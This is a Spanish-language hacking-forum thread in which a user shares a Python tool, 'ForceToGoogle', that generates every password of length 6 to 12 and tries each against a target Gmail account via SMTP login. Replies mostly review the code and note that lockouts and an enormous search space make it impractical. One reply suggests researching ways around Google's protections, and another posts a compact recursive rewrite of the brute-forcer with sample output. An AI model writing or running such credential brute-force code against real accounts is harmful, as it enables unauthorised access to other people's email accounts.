elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  ForceToGoogle, ¿que os parece este programa realizado por mi?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ForceToGoogle, ¿que os parece este programa realizado por mi?  (Leído 3,326 veces)
Jedahee

Desconectado Desconectado

Mensajes: 19


Ver Perfil
ForceToGoogle, ¿que os parece este programa realizado por mi?
« en: 2 Noviembre 2019, 11:51 am »

Este es un programa realizado con python 3.6, encargado de generar todas las combinaciones posibles de palabras de longitud de 6 a 12 caracteres(no incluye caracteres especiales), luego tendréis que introducir un nombre de usuario de una cuenta de google y este programa se encarga de intentar entrar en la cuenta del usuario introducido validando cada contraseña generada hasta encontrar la correcta

Código
  1. # coding=utf-8
  2. ########################################################################################################################
  3. #DESARROLLO
  4. #Este programa se encarga de averiguar contraseñas de cuentas de google generando todas las combinaciones posibles de
  5. #palabras de 6 a 12 caracteres de longitud - Este programa esta pensado para que no tengas que cambiar tu ontraseña
  6. #otra vez... si has olvidado tu contraseña usa este programa para que la averigue y la tendrás de nuevo
  7. ########################################################################################################################
  8. ########################################################################################################################
  9. #ANÁLISIS
  10. #Realizar menu con decoración
  11. #Longitud de caracteres variables de 6 a 12 caractares
  12. #Hay que descargar el modulo colorama
  13. #Se debe saber con antelación el usuario para poder averiguar la contraseña
  14. #Entrada de datos: Longitud de caracteres que queremos que tenga nuestras claves generadas, si comprobar la contraseña o queremos generar claves
  15. #Salida de datos: Claves generadas y si cuando se compruebe con tu cuenta de google la contraseña correcta que la imprima en pantalla
  16. ########################################################################################################################
  17. ########################################################################################################################
  18. #DISEÑO
  19. #Importar librerias
  20. #Crear archivo donde se van a guardar las libreriass
  21. #Crear variables
  22. #Crear archivos donde guardamos las contraseñas con distintas longitudes de caracter
  23. #Crear menu
  24. #Una vez elegido la opcion del menu crear contraseñas de x caracteres 1-Generar contraseñas de x caracteres 2-comprobar contraseñas generadas 3-Salir
  25. #Crear bucle for donde introduzca cada contraseña generada al inicio de sesión de google
  26. #Que muestre en pantalla si la contraseña es correcta o no
  27. ########################################################################################################################
  28. import smtplib, os, sys, colorama
  29. from os import listdir
  30. from typing import Any
  31. from colorama import init, Fore
  32. from termcolor import colored
  33. import time
  34. import random
  35. colorama.init()
  36. num = 0
  37. num = int(num)
  38.  
  39. smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
  40. smtpserver.ehlo()
  41. smtpserver.starttls()
  42. car = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnÑñOoPpQqRrSsTtUuVvWwXxYyZz0123456789"
  43.  
  44. def menu():
  45.    Google = Fore.BLUE+"G"+Fore.RED+"o"+Fore.YELLOW+"o"+Fore.BLUE+"g"+Fore.GREEN+"l"+Fore.RED+"e"
  46.    Force = Fore.YELLOW+"Force"
  47.    print("##########################################")
  48.    print("               "+Force+Fore.WHITE+"To"+Google+"            ")
  49.    print(Fore.WHITE + "##########################################")
  50.  
  51.    print("Realizado por Jesús Daza Hernández")
  52.    print(Fore.GREEN + '----------------------------O------------------------------')
  53.    print(Fore.RED+"["+Fore.WHITE+"1"+Fore.RED+"]", Fore.CYAN+"Generar claves")
  54.    print(Fore.RED+"["+Fore.WHITE+"2"+Fore.RED+"]", Fore.CYAN+"Comporbar claves generadas")
  55.    print(Fore.RED+"["+Fore.WHITE+"3"+Fore.RED+"]", Fore.CYAN+"Salir de FTG"+Fore.WHITE)
  56. def Fuerzabruta6():
  57.    archivo_6 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_6.txt", "w")
  58.    for a in car:
  59.        for b in car:
  60.            for c in car:
  61.                for d in car:
  62.                    for e in car:
  63.                        for f in car:
  64.                            con = str(a + b + c + d + e + f)
  65.                            archivo_6.write(con+"\n")
  66. def Fuerzabruta7():
  67.    archivo_7 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_7.txt", "w")
  68.    for a in car:
  69.        for b in car:
  70.            for c in car:
  71.                for d in car:
  72.                    for e in car:
  73.                        for f in car:
  74.                            for g in car:
  75.                                con = str(a + b + c + d + e + f + g)
  76.                                archivo_7.write(con+"\n")
  77. def Fuerzabruta8():
  78.    archivo_8 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_8.txt", "w")
  79.    for a in car:
  80.        for b in car:
  81.            for c in car:
  82.                for d in car:
  83.                    for e in car:
  84.                        for f in car:
  85.                            for g in car:
  86.                                for h in car:
  87.                                    con = str(a + b + c + d + e + f + g + h)
  88.                                    archivo_8.write(con+"\n")
  89. def Fuerzabruta9():
  90.    archivo_9 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_9.txt", "w")
  91.    for a in car:
  92.        for b in car:
  93.            for c in car:
  94.                for d in car:
  95.                    for e in car:
  96.                        for f in car:
  97.                            for g in car:
  98.                                for h in car:
  99.                                    for i in car:
  100.                                        con = str(a + b + c + d + e + f + g + h + i)
  101.                                        archivo_9.write(con+"\n")
  102. def Fuerzabruta10():
  103.    archivo_10 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_10.txt", "w")
  104.    for a in car:
  105.        for b in car:
  106.            for c in car:
  107.                for d in car:
  108.                    for e in car:
  109.                        for f in car:
  110.                            for g in car:
  111.                                for h in car:
  112.                                    for i in car:
  113.                                        for j in car:
  114.                                            con = str(a + b + c + d + e + f + g + h + i + j)
  115.                                            archivo_10.write(con+"\n")
  116. def Fuerzabruta11():
  117.    archivo_11 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_11", "w")
  118.    for a in car:
  119.        for b in car:
  120.            for c in car:
  121.                for d in car:
  122.                    for e in car:
  123.                        for f in car:
  124.                            for g in car:
  125.                                for h in car:
  126.                                    for i in car:
  127.                                        for j in car:
  128.                                            for k in car:
  129.                                                con = str(a + b + c + d + e + f + g + h + i + j + k)
  130.                                                archivo_11.write(con+"\n")
  131. def Fuerzabruta12():
  132.    archivo_12 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_12.txt", "w")
  133.    for a in car:
  134.        for b in car:
  135.            for c in car:
  136.                for d in car:
  137.                    for e in car:
  138.                        for f in car:
  139.                            for g in car:
  140.                                for h in car:
  141.                                    for i in car:
  142.                                        for j in car:
  143.                                            for k in car:
  144.                                                for l in car:
  145.                                                    con = str(a + b + c + d + e + f + g + h + i + j + k + l)
  146.                                                    archivo_12.write(con+"\n")
  147. def ComprobarClaves():
  148.    try:
  149.        smtpserver.login(email, pwd)
  150.        print(Fore.GREEN+"CONTRASEÑA CORRECTA")
  151.        print("La contraseña es: ", Fore.BLUE+pwd)
  152.        archivo.close()
  153.    except smtplib.SMTPAuthenticationError:
  154.        pass
  155. def salir():
  156.    sys.exit()
  157.  
  158. menu()
  159. opc = input(">> ")
  160. opc = int(opc)
  161. os.system("cls")
  162.  
  163. if opc == 1:
  164.    print("Longitud de las claves a generar(6-12)")
  165.    longitud = input(">> ")
  166.    longitud = int(longitud)
  167.    if longitud >=6 and longitud <=12:
  168.        if longitud == 6:
  169.            Fuerzabruta6()
  170.        elif longitud == 7:
  171.            Fuerzabruta7()
  172.        elif longitud == 8:
  173.            Fuerzabruta8()
  174.        elif longitud == 9:
  175.            Fuerzabruta9()
  176.        elif longitud == 10:
  177.            Fuerzabruta10()
  178.        elif longitud == 11:
  179.            Fuerzabruta11()
  180.        elif longitud == 12:
  181.            Fuerzabruta12()
  182.        else:
  183.            print("Tienes que elegir una longitud para tus claves a generar del 1 al 12")
  184.            menu()
  185. if opc == 2:
  186.    print("Elige un archivo de contraseñas que quieras comprobar")
  187.    for cosa in listdir("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas"):
  188.        print(Fore.RED+"["+Fore.WHITE+str(num)+Fore.RED+"]", Fore.YELLOW+cosa+Fore.WHITE)
  189.        num = int(num) + 1
  190.  
  191.    arch_comp = input("Archivo a comprobar(poner nombre completo sin extension) >> ")
  192.    os.system("cls")
  193.    email = input("Tu email: ")
  194.  
  195.    if arch_comp == "contraseñas_6":
  196.        archivo_6 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_6.txt", "r")
  197.        for pwd in archivo_6:
  198.            ComprobarClaves()
  199.    if arch_comp == "contraseñas_7":
  200.        archivo_7 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_7.txt", "r")
  201.        for pwd in archivo_7:
  202.            ComprobarClaves()
  203.    if arch_comp == "contraseñas_8":
  204.        archivo_8 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_8.txt", "r")
  205.        for pwd in archivo_8:
  206.            ComprobarClaves()
  207.    if arch_comp == "contraseñas_9":
  208.        archivo_9 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_9.txt", "r")
  209.        for pwd in archivo_9:
  210.            ComprobarClaves()
  211.    if arch_comp == "contraseñas_10":
  212.        archivo_10 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_10.txt", "r")
  213.        for pwd in archivo_10:
  214.            ComprobarClaves()
  215.    if arch_comp == "contraseñas_11":
  216.        archivo_11 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_11.txt", "r")
  217.        for pwd in archivo_11:
  218.            ComprobarClaves()
  219.    if arch_comp == "contraseñas_12":
  220.        archivo_12 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_12.txt", "r")
  221.        for pwd in archivo_12:
  222.            ComprobarClaves()
  223. if opc == 3:
  224.    salir()
  225.  
  226.  

¿Que os parece?


En línea

@XSStringManolo
Hacker/Programador
Colaborador
***
Desconectado Desconectado

Mensajes: 2.397


Turn off the red ligth


Ver Perfil WWW
Re: ForceToGoogle, ¿que os parece este programa realizado por mi?
« Respuesta #1 en: 2 Noviembre 2019, 14:17 pm »

Ese programa solo va a funciobar en tu PC porque pususte la ruta entera. Pon la ruta ("/contraseñas/contraseña_1");
Así conque exista la carpeta dentro del programa te la encuentra independientemente de si el usuario usa windows, linux, etc.

Usas muchas funciones distintas para hacer casi lo mismo.
Es mejor que hagas solo una función para fuerza bruta y tomes como parámetro el número de caracteres para pequeñas modificaciones.

Tiene un print que dice que pongas contraseña de longitud entre 1 y 12. Cuando en realidad solo das como válido entre 6 y 12.

Google tiene protección ante fuerza bruta. Investiga que protecciones tiene para intentar saltártelas.
Creo que una de ellas es devolverte un falso positivo para que tu programa piense que encontró la clave correcta cuando en realidad no es así.

Yo diría que no se puede hacer fuerza bruta a priori por el sencillo hecho de que un usuario inexperto como yo, puede implementar las protecciones necesarias par deshabilitar cualquier intento de fuerza bruta. Asique una empresa millonaria como Google lo tendrá más que implementado seguro.

Prueba el programa a ver si funciona  :rolleyes:


En línea

Mi perfil de patrocinadores de GitHub está activo! Puedes patrocinarme para apoyar mi trabajo de código abierto 💖

Jedahee

Desconectado Desconectado

Mensajes: 19


Ver Perfil
Re: ForceToGoogle, ¿que os parece este programa realizado por mi?
« Respuesta #2 en: 2 Noviembre 2019, 14:45 pm »

Ese programa solo va a funciobar en tu PC porque pususte la ruta entera. Pon la ruta ("/contraseñas/contraseña_1");
Así conque exista la carpeta dentro del programa te la encuentra independientemente de si el usuario usa windows, linux, etc.

Usas muchas funciones distintas para hacer casi lo mismo.
Es mejor que hagas solo una función para fuerza bruta y tomes como parámetro el número de caracteres para pequeñas modificaciones.

Tiene un print que dice que pongas contraseña de longitud entre 1 y 12. Cuando en realidad solo das como válido entre 6 y 12.

Google tiene protección ante fuerza bruta. Investiga que protecciones tiene para intentar saltártelas.
Creo que una de ellas es devolverte un falso positivo para que tu programa piense que encontró la clave correcta cuando en realidad no es así.

Yo diría que no se puede hacer fuerza bruta a priori por el sencillo hecho de que un usuario inexperto como yo, puede implementar las protecciones necesarias par deshabilitar cualquier intento de fuerza bruta. Asique una empresa millonaria como Google lo tendrá más que implementado seguro.

Prueba el programa a ver si funciona  :rolleyes:

En cuanto al print y a la carpeta dentro de mi sistema la verdad es que no me di cuenta :P
Se que este programa no funcionaria con una empresa como lo es google, de hecho cuando yo probé este programa al rato de estar el programa intentando acceder a la cuenta de google, google te bloquea el acceso a esa cuenta por spam, lo cual ya destruye mi programa pero mas que nada he hecho este programa por el reto y bueno, este porgrama funcionaria si no tuviera como objetivo google  :xD pero bueno, también lo he hecho para mostrarlo y que la gente opine donde podría mejorar en tema de sintaxis
En línea

jmpesp

Desconectado Desconectado

Mensajes: 21


Ver Perfil
Re: ForceToGoogle, ¿que os parece este programa realizado por mi?
« Respuesta #3 en: 3 Noviembre 2019, 11:47 am »

El programa en si no funcionara (en teoria tarde o temprano obtendras la clave correcta, pero solo en teoria).

No solo por ser "Google" o por las protecciones que pueda llegar a tener (que de seguro al quinto intento el servidor SMTP comenzara a rechazar tus conexiones o a arrojar falsos negativos).

Recorrer todo el charset en todos los largos especificados te llevara 853058370935030464 intentos. A un promedio de digamos 700 ms por intento intentar todas las combinaciones posibles te llevaria 315586874 a;os.

Incluso teniendo el hash y el equipamiento necesario a tu disposicion, romperlo de esa manera seria improbable y una perdida de tiempo.

Los ataques por diccionario suelen ser mas efectivos, aunque no hay garantia de que la clave este en el diccionario.

En cuanto al codigo, como ya te dijieron, hay varias cosas que mejorar.

-No usar rutas absolutas.

-Guardar las claves generadas en el disco consume recursos innecesariamente, lo unico que necesitas es probar la clave momento despues de generarla.

-Las funciones FuerzaBrutaN deberian ser reemplazadas por una unica funcion que acepte el largo de la cadena a generar como parametro

Los colores y el menu de opciones en mi opinion son innecesarios.
Por que no recibir el email y el largo deseado por un parametro al programa y ya?

Tu programa podria ser reducido a:


Código:
#!/usr/bin/python

import sys
import smtplib

charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-/.,!%$#@&^*()_+;:'\""

def brute_google(email, passwd):

print "Probando {}:{}".format(email, passwd)

smtp = smtplib.SMTP("smtp.gmail.com", 587)
smtp.starttls()

try:
smtp.login(email, passwd)
print "Esto nunca va a suceder :( [CRACKED]: {}".format(passwd)
sys.exit()
except smtplib.SMTPAuthenticationError:
pass

def gen_passwd(email, passwd, index, length):

for x in charset:
passwd[index] = x

if index < (length-1):
gen_passwd(email, passwd, index+1, length)

brute_google(email, "".join(passwd))

try:
email = sys.argv[1]
except IndexError:
print "Usar: {} [email]".format(sys.argv[0])
sys.exit()

for i in range(6, 16):
passwd = ['a' for x in range(i)]
gen_passwd(email, passwd, 0, i)


Código:
$ ./brute.py test@mail.com
Probando test@mail.com:aaaaaa
Probando test@mail.com:aaaaab
Probando test@mail.com:aaaaac
Probando test@mail.com:aaaaad
Probando test@mail.com:aaaaae
Probando test@mail.com:aaaaaf


Saludos !
En línea

Jedahee

Desconectado Desconectado

Mensajes: 19


Ver Perfil
Re: ForceToGoogle, ¿que os parece este programa realizado por mi?
« Respuesta #4 en: 3 Noviembre 2019, 12:31 pm »

Wow la vd es que ese programa es muchísimo mejor...  :o
En cuanto los colores y eso es por simple estética y qje se viera mejor

Una pregunta, no entiendo como generas la contraseña, a partir de "Def gen_passwrd(email, passwrd, index, length)"

Y otra cosa, que valores iniciales toman los atributos que están entre paréntesis?

Muchas gracias por responder!!
En línea

jmpesp

Desconectado Desconectado

Mensajes: 21


Ver Perfil
Re: ForceToGoogle, ¿que os parece este programa realizado por mi?
« Respuesta #5 en: 3 Noviembre 2019, 22:52 pm »

Wow la vd es que ese programa es muchísimo mejor...  :o
En cuanto los colores y eso es por simple estética y qje se viera mejor

Una pregunta, no entiendo como generas la contraseña, a partir de "Def gen_passwrd(email, passwrd, index, length)"

Y otra cosa, que valores iniciales toman los atributos que están entre paréntesis?

Muchas gracias por responder!!

No es muy diferente a lo que hace tu codigo. Funciona de la misma manera.

Si te fijas, antes de llamar a la funcion, se inicializa una lista con N elementos. El numero de elementos es el largo de la cadena

Código:
       # suponiendo que "i" (el largo) es 8
        passwd = ['a' for x in range(i)]       # Produce una lista: ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
gen_passwd(email, passwd, 0, i)

La funcion acepta como parametro la lista a modificar, el largo y el indice de la lista que va a modificar (el caracter).

Lo que hacemos es recorrer el charset asignandole cada caracter posible al indice de la lista indicado.

Si el indice es menor que el largo de la lista, es decir, nuestro indice no es el ultimo caracter en la clave a generar, la funcion se vuelve a llamar a si misma , incrementando el indice.

Código:
def gen_passwd(email, passwd, index, length):

for x in charset:
passwd[index] = x

if index < (length-1):
gen_passwd(email, passwd, index+1, length)

brute_google(email, "".join(passwd))


Para entenderlo mejor, con un charset de solo 3 caracteres:

Código:
charset = "abc"
passwd = ['x','x','x']

#la primera llamada a gen_charset con indice 0 producira:

passwd = ['a','x','x']

#como el indice 0 no es el ultimo de la lista, se volvera a llamar a si misma con el indice 1
# quedando

passwd = ['a','a',x']

# sucede lo mismo que antes pero ahora se utiliza el indice 2

passwd = ['a','a','a']

# el indice 2 es el ultimo de la lista, entonces no se incrementa el indice
# se producen los siguientes resultados:

passwd = ['a','a','b']
passwd = ['a','a','c']

# como no hay mas caracteres para probar en el charset, la funcion retorna a la llamada anterior de gen_passwd, que tenia el indice 1, y de nuevo, como 1 no es el ultimo indice de la lista se vuelve a llamar a la funcion con el indice 2, produciendo:

passwd = ['a','b','a']

# el ciclo se repite hasta producir todas las combinaciones posibles en todos los indices de la lista

passwd = ['a','b','b']
passwd = ['a','b','c']
passwd = ['a','c','a']
passwd = ['a','c','b']
passwd = ['a','c','c']
passwd = ['b','a','a']
passwd = ['b','a','b']
passwd = ['b','a','c']
passwd = ['b','b','a']
# [...] etc [...]


Que al final es lo mismo que haces tu hardcodeando los ciclos:

Código:
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            con = str(a + b + c + d + e + f)
                            archivo_6.write(con+"\n")

Solo que en lugar de usar recursion, hardcodeas el numero de ciclos uno dentro de el otro, y en lugar de usar una lista e indices, utilizas variables y las concatenas al final.

Espero se haya entendido
En línea

Jedahee

Desconectado Desconectado

Mensajes: 19


Ver Perfil
Re: ForceToGoogle, ¿que os parece este programa realizado por mi?
« Respuesta #6 en: 4 Noviembre 2019, 18:05 pm »

Gracias por responder!
« Última modificación: 4 Noviembre 2019, 23:53 pm por Jedahee » En línea

Jedahee

Desconectado Desconectado

Mensajes: 19


Ver Perfil
Re: ForceToGoogle, ¿que os parece este programa realizado por mi?
« Respuesta #7 en: 4 Noviembre 2019, 23:51 pm »

No es muy diferente a lo que hace tu codigo. Funciona de la misma manera.

Si te fijas, antes de llamar a la funcion, se inicializa una lista con N elementos. El numero de elementos es el largo de la cadena

Código:
       # suponiendo que "i" (el largo) es 8
        passwd = ['a' for x in range(i)]       # Produce una lista: ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
gen_passwd(email, passwd, 0, i)

La funcion acepta como parametro la lista a modificar, el largo y el indice de la lista que va a modificar (el caracter).

Lo que hacemos es recorrer el charset asignandole cada caracter posible al indice de la lista indicado.

Si el indice es menor que el largo de la lista, es decir, nuestro indice no es el ultimo caracter en la clave a generar, la funcion se vuelve a llamar a si misma , incrementando el indice.

Código:
def gen_passwd(email, passwd, index, length):

for x in charset:
passwd[index] = x

if index < (length-1):
gen_passwd(email, passwd, index+1, length)

brute_google(email, "".join(passwd))


Para entenderlo mejor, con un charset de solo 3 caracteres:

Código:
charset = "abc"
passwd = ['x','x','x']

#la primera llamada a gen_charset con indice 0 producira:

passwd = ['a','x','x']

#como el indice 0 no es el ultimo de la lista, se volvera a llamar a si misma con el indice 1
# quedando

passwd = ['a','a',x']

# sucede lo mismo que antes pero ahora se utiliza el indice 2

passwd = ['a','a','a']

# el indice 2 es el ultimo de la lista, entonces no se incrementa el indice
# se producen los siguientes resultados:

passwd = ['a','a','b']
passwd = ['a','a','c']

# como no hay mas caracteres para probar en el charset, la funcion retorna a la llamada anterior de gen_passwd, que tenia el indice 1, y de nuevo, como 1 no es el ultimo indice de la lista se vuelve a llamar a la funcion con el indice 2, produciendo:

passwd = ['a','b','a']

# el ciclo se repite hasta producir todas las combinaciones posibles en todos los indices de la lista

passwd = ['a','b','b']
passwd = ['a','b','c']
passwd = ['a','c','a']
passwd = ['a','c','b']
passwd = ['a','c','c']
passwd = ['b','a','a']
passwd = ['b','a','b']
passwd = ['b','a','c']
passwd = ['b','b','a']
# [...] etc [...]


Que al final es lo mismo que haces tu hardcodeando los ciclos:

Código:
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            con = str(a + b + c + d + e + f)
                            archivo_6.write(con+"\n")

Solo que en lugar de usar recursion, hardcodeas el numero de ciclos uno dentro de el otro, y en lugar de usar una lista e indices, utilizas variables y las concatenas al final.

Espero se haya entendido
Sigo teniendo algunas dudas sobre este código, tras haberlo analizado profundamente y también gracias a tus explicaciones he logrado entender gran partede el, basicamente tu programa es:

Código
  1.  
  2. for i in range(6, 16):
  3. passwd = ['a' for x in range(i)]
  4. gen_passwd(email, passwd, 0, i)
  5.  
Aquí haces que la contraseña sea ["a","a","a","a","a","a"] hasta 16 ["a"] y también le indicas a index que sea 0 y a lenght que sea i que sería lo mismo que 6, luego 7, 8, 9 ,10...hasta 15

Código
  1. def brute_google(email, passwd):
  2.  
  3. print "Probando {}:{}".format(email, passwd)
  4.  
  5. smtp = smtplib.SMTP("smtp.gmail.com", 587)
  6. smtp.starttls()
  7.  
  8. try:
  9. smtp.login(email, passwd)
  10. print "Esto nunca va a suceder :( [CRACKED]: {}".format(passwd)
  11. sys.exit()
  12. except smtplib.SMTPAuthenticationError:
  13. pass
  14.  
Aquí indicas que se va a mostrar en pantalla, inicias los servicios de gmail y además intentas logearte
Código
  1. def gen_passwd(email, passwd, index, length):
  2.  
  3. for x in charset:
  4. passwd[index] = x
  5.  

Esa parte no la entiendo, que se supone que hace?
Código
  1. if index < (length-1):
  2. gen_passwd(email, passwd, index+1, length)
  3.  
  4. brute_google(email, "".join(passwd))
  5.  
Esto creo que dice que si index(que le asignaste el valor de 0) es menor que lenght - 1 (que le asignaste el valor de i, osea 6) que sume 1 a index pero al acabar este bucle vuelves a darle el valor de cero, ¿no?, esta parte tampoco entiendo lo que hace
Código
  1. try:
  2. email = sys.argv[1]
  3. except IndexError:
  4. print "Usar: {} [email]".format(sys.argv[0])
  5. sys.exit()
  6.  
Esta parte la entiendo a la perfección

Muchas gracias por responder y ayudarme! ;D
En línea

jmpesp

Desconectado Desconectado

Mensajes: 21


Ver Perfil
Re: ForceToGoogle, ¿que os parece este programa realizado por mi?
« Respuesta #8 en: 5 Noviembre 2019, 04:26 am »

Citar
    def gen_passwd(email, passwd, index, length):
     
       for x in charset:
          passwd[index] = x
     


Esa parte no la entiendo, que se supone que hace?

Lo que hace es recorrer el charset y asignarle cada caracter de el charset a el elemento indicado de la lista "passwd".

Ejemplo:

Código:
charset = "123"
passwd = ['a','a','a']

# asumiendo que index = 0
for x in charset:
     passwd[index] = x
     print "".join(passwd)

# Produciria la siguiente salida:

1aa
2aa
3aa



Citar
      if index < (length-1):
         gen_passwd(email, passwd, index+1, length)
 
      brute_google(email, "".join(passwd))

Esto creo que dice que si index(que le asignaste el valor de 0) es menor que lenght - 1 (que le asignaste el valor de i, osea 6) que sume 1 a index pero al acabar este bucle vuelves a darle el valor de cero, ¿no?, esta parte tampoco entiendo lo que hace

Exacto. Esa comparacion sirve para saber si estamos modificando el ultimo indice de la lista (el ultimo caracter en la password).
Hay que restarle uno a length porque, si la lista tiene 6 elementos, length sera 6, pero los indices comienzan desde cero. Tendremos los indices 0,1,2,3,4,5.


Creo que para que lo entiendas, primero debes entender lo que hace la funcion gen_passwd.
Toma como parametros una lista, y un indice.
Lo unico que hace esta funcion es recorrer el charset y asignarle cada caracter al indice especificado. Algo como:

Código:
charset = "abc"
list = ['x','x','x','x']

def gen(list, index):
      for x in charset:
            list[index] = x
            print "".join(list)

# esto produce la siguiente salida:

gen(list, 0)
# axxx
# bxxx
# cxxx
# .... etc ...

El truco esta en que la funcion se llama a si misma recursivamente incrementando el indice hasta llegar al final de la cadena.

Código:
charset = "abc"
list = ['x','x','x','x']

def gen(list, index):
      for x in charset:
            list[index] = x
            gen(list, index+1)
            print "".join(list)

# esto produce la siguiente salida:

gen(list, 0)
# aaxx
# abxx
# acxx
# baxx
# bbxx
# bcxx
# caxx
# cbxx
# ccxx
# .... etc ...



https://uniwebsidad.com/libros/python/capitulo-4/llamadas-recursivas

Espero te ayude a entenderlo, no soy muy bueno explicando la verdad.  :xD

En línea

Jedahee

Desconectado Desconectado

Mensajes: 19


Ver Perfil
Re: ForceToGoogle, ¿que os parece este programa realizado por mi?
« Respuesta #9 en: 5 Noviembre 2019, 08:30 am »

Lo que hace es recorrer el charset y asignarle cada caracter de el charset a el elemento indicado de la lista "passwd".

Ejemplo:

Código:
charset = "123"
passwd = ['a','a','a']

# asumiendo que index = 0
for x in charset:
     passwd[index] = x
     print "".join(passwd)

# Produciria la siguiente salida:

1aa
2aa
3aa



Exacto. Esa comparacion sirve para saber si estamos modificando el ultimo indice de la lista (el ultimo caracter en la password).
Hay que restarle uno a length porque, si la lista tiene 6 elementos, length sera 6, pero los indices comienzan desde cero. Tendremos los indices 0,1,2,3,4,5.


Creo que para que lo entiendas, primero debes entender lo que hace la funcion gen_passwd.
Toma como parametros una lista, y un indice.
Lo unico que hace esta funcion es recorrer el charset y asignarle cada caracter al indice especificado. Algo como:

Código:
charset = "abc"
list = ['x','x','x','x']

def gen(list, index):
      for x in charset:
            list[index] = x
            print "".join(list)

# esto produce la siguiente salida:

gen(list, 0)
# axxx
# bxxx
# cxxx
# .... etc ...

El truco esta en que la funcion se llama a si misma recursivamente incrementando el indice hasta llegar al final de la cadena.

Código:
charset = "abc"
list = ['x','x','x','x']

def gen(list, index):
      for x in charset:
            list[index] = x
            gen(list, index+1)
            print "".join(list)

# esto produce la siguiente salida:

gen(list, 0)
# aaxx
# abxx
# acxx
# baxx
# bbxx
# bcxx
# caxx
# cbxx
# ccxx
# .... etc ...



https://uniwebsidad.com/libros/python/capitulo-4/llamadas-recursivas

Espero te ayude a entenderlo, no soy muy bueno explicando la verdad.  :xD




aaaaah ya lo he entendido todo, gracias por responder!  ;D
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¿Que os parece este MP4 ?
Dudas Generales
r34p3rb0y 0 1,871 Último mensaje 30 Enero 2011, 03:43 am
por r34p3rb0y
Que os parece este programa para cifrar la conexión a Internet
Seguridad
chocola 0 2,625 Último mensaje 11 Enero 2012, 17:08 pm
por chocola
Este robot realizado con impresora 3D puede desbloquear tu smartphone en horas
Noticias
wolfbcn 0 1,201 Último mensaje 24 Julio 2013, 21:56 pm
por wolfbcn
Qué os parece éste pc?
Hardware
BlackM4ster 4 2,619 Último mensaje 11 Diciembre 2014, 10:47 am
por Orubatosu
ayuda estar bien realizado este taller de listas, pilas y colas. denle una vista
Programación C/C++
creiko 0 2,062 Último mensaje 4 Diciembre 2016, 22:21 pm
por creiko
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines